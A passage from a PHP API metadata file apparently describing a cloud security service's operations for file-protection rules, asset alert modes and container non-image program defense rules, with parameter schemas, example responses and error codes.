'free', 'abilityTreeCode' => '188625', 'abilityTreeNodes' => [ 'FEATUREsas4OHMAP', ], ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '245', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C0DF9057-67C5-574D-A2D2-0CA9AC74C4D3', ], 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Action' => [ 'description' => 'The handling method of the rule. Valid values:'."\n" ."\n" .'1. pass: allow'."\n" .'2. alert'."\n", 'type' => 'string', 'example' => 'pass', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test-000', ], 'SwitchId' => [ 'description' => 'The switch ID of the rule.'."\n", 'type' => 'string', 'example' => 'FILE_PROTECT_RULE_SWITCH_TYPE_0000', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '44616', ], 'AlertLevel' => [ 'description' => 'The severity of alerts. Valid values:'."\n" ."\n" .'* 0: does not generate alerts'."\n" .'* 1: sends notifications'."\n" .'* 2: suspicious'."\n" .'* 3: high-risk'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'FileOps' => [ 'description' => 'The operations performed on the files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation performed on the file. Valid values:'."\n" ."\n" .'1. WRITE'."\n" .'2. READ'."\n" .'3. DELETE'."\n" .'4. RENAME'."\n" .'5. CHMOD: change permissions'."\n", 'type' => 'string', 'example' => 'CHMOD', ], ], 'FilePaths' => [ 'description' => 'The paths to the monitored files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the monitored file. Wildcard characters are supported.'."\n", 'type' => 'string', 'example' => '/usr/*', ], ], 'ProcPaths' => [ 'description' => 'The paths to the monitored processes.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the monitored process. Wildcard characters are supported.'."\n", 'type' => 'string', 'example' => '/usr/local/*', ], ], 'Status' => [ 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'1. 0: disabled'."\n" .'2. 1: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Platform' => [ 'type' => 'string', 'description' => 'The type of the operating system. Valid values:'."\n" ."\n" .'* **windows**: Windows'."\n" .'* **linux**: Linux', 'example' => 'linux', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C0DF9057-67C5-574D-A2D2-0CA9AC74C4D3\\",\\n \\"Data\\": {\\n \\"Action\\": \\"pass\\",\\n \\"RuleName\\": \\"test-000\\",\\n \\"SwitchId\\": \\"FILE_PROTECT_RULE_SWITCH_TYPE_0000\\",\\n \\"Id\\": 44616,\\n \\"AlertLevel\\": 0,\\n \\"FileOps\\": [\\n \\"CHMOD\\"\\n ],\\n \\"FilePaths\\": [\\n \\"/usr/*\\"\\n ],\\n \\"ProcPaths\\": [\\n \\"/usr/local/*\\"\\n ],\\n \\"Status\\": 1,\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', 'title' => 'GetFileProtectRule', ], 'ListClientAlertMode' => [ 'summary' => 'Queries the alert settings of assets. By default, the balanced mode is enabled. A detected list of assets can be returned only in strict mode.', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '192434', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Mode', 'in' => 'query', 'schema' => [ 'description' => 'The protection mode. Valid values:'."\n" ."\n" .'* **strict**: The strict mode. False positives may be generated. We recommend that you enable this mode during major events.'."\n" .'* **balance**: The balanced mode. More risks can be detected with less false positives in this mode.'."\n", 'type' => 'string', 'required' => false, 'example' => 'strict', 'enum' => [ 'strict', 'balance', ], ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Uuids' => [ 'description' => 'The UUIDs of the assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '0c1714dc-f7a3-4265-8364-7aa3fce8c716', ], ], 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"Data\\": {\\n \\"Uuids\\": [\\n \\"0c1714dc-f7a3-4265-8364-7aa3fce8c716\\"\\n ],\\n \\"Count\\": 5\\n }\\n}","type":"json"}]', 'title' => 'ListClientAlertMode', ], 'UpdateClientAlertMode' => [ 'summary' => 'Modifies alerting settings for servers.', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '192122', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'becf3661-80aa-4083-858d-619dafa3449a', ], 'required' => false, 'maxItems' => 500, 'minItems' => 1, ], ], [ 'name' => 'Mode', 'in' => 'query', 'schema' => [ 'description' => 'The protection mode. Valid values:'."\n" ."\n" .'* **strict**: The strict mode. False positives may be generated. We recommend that you enable this mode during major events.'."\n" .'* **balance**: The balanced mode. More risks can be detected with less false positives in this mode.'."\n", 'type' => 'string', 'required' => false, 'example' => 'balance', 'enum' => [ 'strict', 'balance', ], ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '259E3E77-CA6D-5407-84A5-3A1C98D12F14', ], 'Data' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"259E3E77-CA6D-5407-84A5-3A1C98D12F14\\",\\n \\"Data\\": true\\n}","type":"json"}]', 'title' => 'UpdateClientAlertMode', ], 'ListContainerDefenseRuleClusters' => [ 'summary' => 'Queries a list of clusters that are included in a rule for non-image program defense.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'ClusterList' => [ 'description' => 'The clusters.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'cfeb7a9f99ce740e98c5595d0fe37****', ], 'RuleId' => [ 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListInterceptionRulePage](~~2590599~~) operation to query the IDs of rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '403178', ], 'AllNamespace' => [ 'description' => 'Indicates whether all namespaces are included. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Namespaces' => [ 'description' => 'The namespaces.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the namespace.'."\n", 'type' => 'string', 'example' => 'kube-system', ], ], ], ], ], 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1F995515-CAF3-5F84-8D82-C9F706AD5070', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ClusterList\\": [\\n {\\n \\"ClusterId\\": \\"cfeb7a9f99ce740e98c5595d0fe37****\\",\\n \\"RuleId\\": 403178,\\n \\"AllNamespace\\": 1,\\n \\"Namespaces\\": [\\n \\"kube-system\\"\\n ]\\n }\\n ],\\n \\"Count\\": 1,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"1F995515-CAF3-5F84-8D82-C9F706AD5070\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListContainerDefenseRuleClusters', ], 'ListContainerDefenseRule' => [ 'summary' => 'Queries a list of rules for non-image program defense.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The rule type. Valid values:'."\n" ."\n" .'* 1: system rule'."\n" .'* 2: user-defined rule'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Conditions', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The details of the condition.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The condition type. Valid values:'."\n" ."\n" .'* **ruleName**: the rule name'."\n", 'type' => 'string', 'required' => false, 'example' => 'ruleName', ], 'Value' => [ 'description' => 'The rule content.'."\n", 'type' => 'string', 'required' => false, 'example' => 'auto-test-rule-**', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'IsDefaultRule', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to query system rules.'."\n" ."\n" .'> This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '181', ], 'RuleType' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **1**: system rule'."\n" .'* **2**: custom rule'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RuleName' => [ 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test-rule-01', ], 'Description' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => 'defense rule.', ], 'RuleAction' => [ 'description' => 'The action specified in the rule. Valid values:'."\n" ."\n" .'* **1**: alert'."\n" .'* **2**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RuleSwitch' => [ 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ClusterCount' => [ 'description' => 'The total number of clusters.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterIdList' => [ 'description' => 'The clusters specified in the rule.'."\n", 'type' => 'string', 'example' => 'cfb41a8**8a106', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '45', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], 'LastRowKey' => [ 'description' => 'The key of the last data entry.'."\n", 'type' => 'string', 'example' => 'CAESGgo***jE2NDc4NjE=', ], 'NextToken' => [ 'description' => 'The query credential.'."\n", 'type' => 'string', 'example' => 'B60***', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '5E3A63BA-***843', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"RuleId\\": 181,\\n \\"RuleType\\": 1,\\n \\"RuleName\\": \\"test-rule-01\\",\\n \\"Description\\": \\"defense rule.\\",\\n \\"RuleAction\\": 1,\\n \\"RuleSwitch\\": 0,\\n \\"ClusterCount\\": 1,\\n \\"ClusterIdList\\": \\"cfb41a8**8a106\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 9,\\n \\"LastRowKey\\": \\"CAESGgo***jE2NDc4NjE=\\",\\n \\"NextToken\\": \\"B60***\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"5E3A63BA-***843\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListContainerDefenseRule', ], 'GetContainerDefenseRuleDetail' => [ 'summary' => 'Queries the details of a rule for non-image program defense.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'title' => 'id', 'description' => 'The rule ID.'."\n" ."\n" .'> You can call the [ListContainerDefenseRule](~~2590599~~) operation to query the rule ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '156', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'type' => 'string', 'required' => false, 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The details of the rule.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1948', ], 'AliUid' => [ 'description' => 'The user ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1766185894104***', ], 'EventType' => [ 'title' => '告警类型', 'description' => 'The alert type. Valid values:'."\n" ."\n" .'* **Proactive Defense for Containers**'."\n", 'type' => 'string', 'example' => 'EventType', ], 'EventName' => [ 'title' => '告警名称', 'description' => 'The alert name. Valid values:'."\n" ."\n" .'* **Non-image Program Startup**'."\n", 'type' => 'string', 'example' => 'EventName', ], 'RuleAction' => [ 'title' => '规则操作1=告警，2=阻断', 'description' => 'The action specified in the rule. Valid values:'."\n" ."\n" .'* **1**: alert'."\n" .'* **2**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RuleSwitch' => [ 'title' => '规则开关，0=关，1=开', 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RuleType' => [ 'title' => '规则类型', 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* **1**: system rule'."\n" .'* **2**: custom rule'."\n", 'type' => 'string', 'example' => '1', ], 'RuleName' => [ 'title' => '规则名称', 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'example' => 'test-000', ], 'Description' => [ 'title' => '描述', 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => 'Custom defense configuration', ], 'Whitelist' => [ 'title' => '白名单', 'description' => 'The whitelist.'."\n", 'type' => 'object', 'properties' => [ 'Hash' => [ 'description' => 'The hash values of the files that are added to the whitelist.'."\n" ."\n" .'> This parameter is not supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The hash value of the file that is added to the whitelist.'."\n" ."\n" .'> This parameter is not supported.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => '0', ], 'deprecated' => true, ], 'Path' => [ 'description' => 'The paths to the files that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the file that is added to the whitelist.'."\n", 'type' => 'string', 'example' => '/home/workdir/', ], ], 'Image' => [ 'description' => 'An array consisting of images that are added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image that is added to the whitelist.'."\n", 'type' => 'string', 'example' => 'sdf:sdf', ], ], ], ], 'Scope' => [ 'title' => '作用域', 'description' => 'The effective scope of the rule.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'example' => 'c9bea04*2b25**', ], 'AllNamespace' => [ 'description' => 'Indicates whether all namespaces are included. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Namespaces' => [ 'description' => 'An array that consists of queried namespaces.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the namespace.'."\n", 'type' => 'string', 'example' => 'kube-system', ], ], ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '77546BF4-CCE8-5F8D-B42B-5FD3306B43B4', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code. The status code 200 indicates that the request was successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 1948,\\n \\"AliUid\\": 0,\\n \\"EventType\\": \\"EventType\\",\\n \\"EventName\\": \\"EventName\\",\\n \\"RuleAction\\": 1,\\n \\"RuleSwitch\\": 0,\\n \\"RuleType\\": \\"1\\",\\n \\"RuleName\\": \\"test-000\\",\\n \\"Description\\": \\"防御规则。\\",\\n \\"Whitelist\\": {\\n \\"Hash\\": [\\n \\"0\\"\\n ],\\n \\"Path\\": [\\n \\"/home/workdir/\\"\\n ],\\n \\"Image\\": [\\n \\"sdf:sdf\\"\\n ]\\n },\\n \\"Scope\\": [\\n {\\n \\"ClusterId\\": \\"c9bea04*2b25**\\",\\n \\"AllNamespace\\": 1,\\n \\"Namespaces\\": [\\n \\"kube-system\\"\\n ]\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"77546BF4-CCE8-5F8D-B42B-5FD3306B43B4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetContainerDefenseRuleDetail', ], 'ModifyContainerDefenseRule' => [ 'summary' => 'Modifies a rule for non-image program defense.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '162194', 'abilityTreeNodes' => [ 'FEATUREsasJEFOWE', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'title' => 'id', 'description' => 'The ID of the rule.'."\n" ."\n" .'> You can call the [ListContainerDefenseRule](~~2590599~~) operation to query the IDs of rules.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], [ 'name' => 'RuleAction', 'in' => 'query', 'schema' => [ 'title' => '规则操作', 'description' => 'The action specified in the rule. Valid values:'."\n" ."\n" .'* **1**: alert'."\n" .'* **2**: block'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RuleSwitch', 'in' => 'query', 'schema' => [ 'title' => '规则开关', 'description' => 'The status of the rule. Valid values:'."\n" ."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'RuleName', 'in' => 'query', 'schema' => [ 'title' => '规则名称', 'description' => 'The name of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'text-001', ], ], [ 'name' => 'Description', 'in' => 'query', 'schema' => [ 'title' => '描述', 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Prevent non-mirror programs from starting in containers', ], ], [ 'name' => 'RuleType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the rule. Valid values:'."\n" ."\n" .'* 1: system rule'."\n" .'* 2: custom rule'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Whitelist', 'in' => 'query', 'style' => 'json', 'schema' => [ 'title' => '白名单', 'description' => 'The whitelist.'."\n", 'type' => 'object', 'properties' => [ 'Hash' => [ 'description' => 'The hash values of the files that need to be added to the whitelist.'."\n" ."\n" .'> This parameter is not supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The hash value of the file that needs to be added to the whitelist.'."\n" ."\n" .'> This parameter is not supported.'."\n", 'type' => 'string', 'deprecated' => true, 'required' => false, 'example' => '0', ], 'deprecated' => true, 'required' => false, ], 'Path' => [ 'description' => 'The paths to the files that need to be added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path to the file that needs to be added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/workspace/', ], 'required' => false, ], 'Image' => [ 'description' => 'The images that need to be added to the whitelist.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image that needs to be added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => 'repo:tag', ], 'required' => false, ], ], 'required' => false, ], ], [ 'name' => 'Scope', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '作用域', 'description' => 'The effective scope of the rule.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The ID of the cluster on which the rule takes effect.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c54b***1501', ], 'AllNamespace' => [ 'description' => 'Specifies whether to include all namespaces. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], 'Namespaces' => [ 'description' => 'The namespaces.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the namespace.'."\n", 'type' => 'string', 'required' => false, 'example' => 'kube-system', ], 'required' => false, 'maxItems' => 100, ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The ID of the rule that was modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'True', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '768DFBE5-*A5DC35**', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code. The value 200 indicates that the request was successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 100,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"768DFBE5-*A5DC35**\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ModifyContainerDefenseRule', ], 'ModifyContainerDefenseRuleSwitch' => [ 'summary' => 'Changes the status of non-image program defense rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], 